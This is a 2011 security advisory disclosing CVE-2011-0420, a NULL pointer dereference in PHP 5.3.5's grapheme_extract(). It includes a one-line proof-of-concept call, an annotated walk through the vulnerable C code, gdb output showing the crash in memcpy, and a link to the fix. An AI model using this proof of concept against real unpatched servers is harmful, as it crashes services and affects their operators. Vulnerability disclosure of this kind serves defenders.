Source: http://securityreason.com/securityalert/8087

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[ PHP 5.3.5 grapheme_extract() NULL Pointer Dereference ]

Author: Maksymilian Arciemowicz
http://securityreason.com/
http://cxib.net/
Date:
- - Dis.: 09.12.2010
- - Pub.: 17.02.2011

CVE: CVE-2011-0420
CERT: VU#210829

Affected Software:
- - PHP 5.3.5

Fixed: SVN

Original URL:
http://securityreason.com/achievement_securityalert/94

- --- 0.Description ---
Internationalization extension (further is referred as Intl) is a wrapper
for ICU library, enabling PHP programmers to perform UCA-conformant
collation and date/time/number/currency formatting in their scripts.

grapheme_extract — Function to extract a sequence of default grapheme
clusters from a text buffer, which must be encoded in UTF-8.

- --- 1. PoC for grapheme_extract() ---
grapheme_extract('a',-1);

Change length of first parameter to change rip.

- --- 2. grapheme_extract() NULL Pointer Dereference ---
As we can see in grapheme_extract(str,size)

- -grapheme_extract()--
...
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sl|llz", (char
**)&str, &str_len, &size, &extract_type, &lstart, &next) == FAILURE) {
<=== str='a' and size='-1'
...
/* if the string is all ASCII up to size+1 - or str_len whichever is first
- then we are done.
(size + 1 because the size-th character might be the beginning of a
grapheme cluster)
*/

if ( -1 != grapheme_ascii_check(pstr, size + 1 < str_len ? size + 1 :
str_len ) ) { <=== ( size=-1+1=0 ) ===
long nsize = ( size < str_len ? size : str_len ); <=== nsize = -1
if ( NULL != next ) {
ZVAL_LONG(next, start+nsize);
}
RETURN_STRINGL(((char *)pstr), nsize, 1); <=== CRASH POINT
}
...
- -grapheme_extract()--

if we call to grapheme_ascii_check(pstr,0) where

- -grapheme_ascii_check()--
/* {{{ grapheme_ascii_check: ASCII check */
int grapheme_ascii_check(const unsigned char *day, int32_t len) <====
len=0
{
int ret_len = len;
while ( len-- ) {
if ( *day++ > 0x7f )
return -1;
}

return ret_len; <=== return 0
}
- -grapheme_ascii_check()--

then we get (int)0 in result and

long nsize = ( size < str_len ? size : str_len );

will be -1. Therefore,

RETURN_STRINGL(((char *)pstr), nsize, 1);

give NULL pointer dereference here.

Changing length of first parameter of grapheme_extract(), we will also
change rip in memcpy(3).

(gdb) r -r 'grapheme_extract('a',-1);'
...
(gdb) x/i $rip
=> 0x7ffff5511d99 <memcpy+777>: mov %rax,(%rdi)
(gdb) x/x $rax
0xf9891857a6e70f70: Cannot access memory at address 0xf9891857a6e70f70
(gdb) x/x $rdi
0x11b2000: Cannot access memory at address 0x11b2000
(gdb) r -r
'grapheme_extract('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
,-1);'
...
(gdb) x/i $rip
=> 0x7ffff5511d77 <memcpy+743>: mov 0x18(%rsi),%r10
(gdb) x/x $rsi
0x11b1fe8: 0x00000000

- --- 3. Fix ---
CVS
http://svn.php.net/viewvc?view=revision&revision=306449

- --- 4. Greets ---
Pierre, Stas, sp3x, infospec

- --- 5. Contact ---
Author: Maksymilian Arciemowicz [ SecurityReason.com ]

Email:
- - cxib {a\./t]securityreason[d=t} com

GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/
http://cxib.net/

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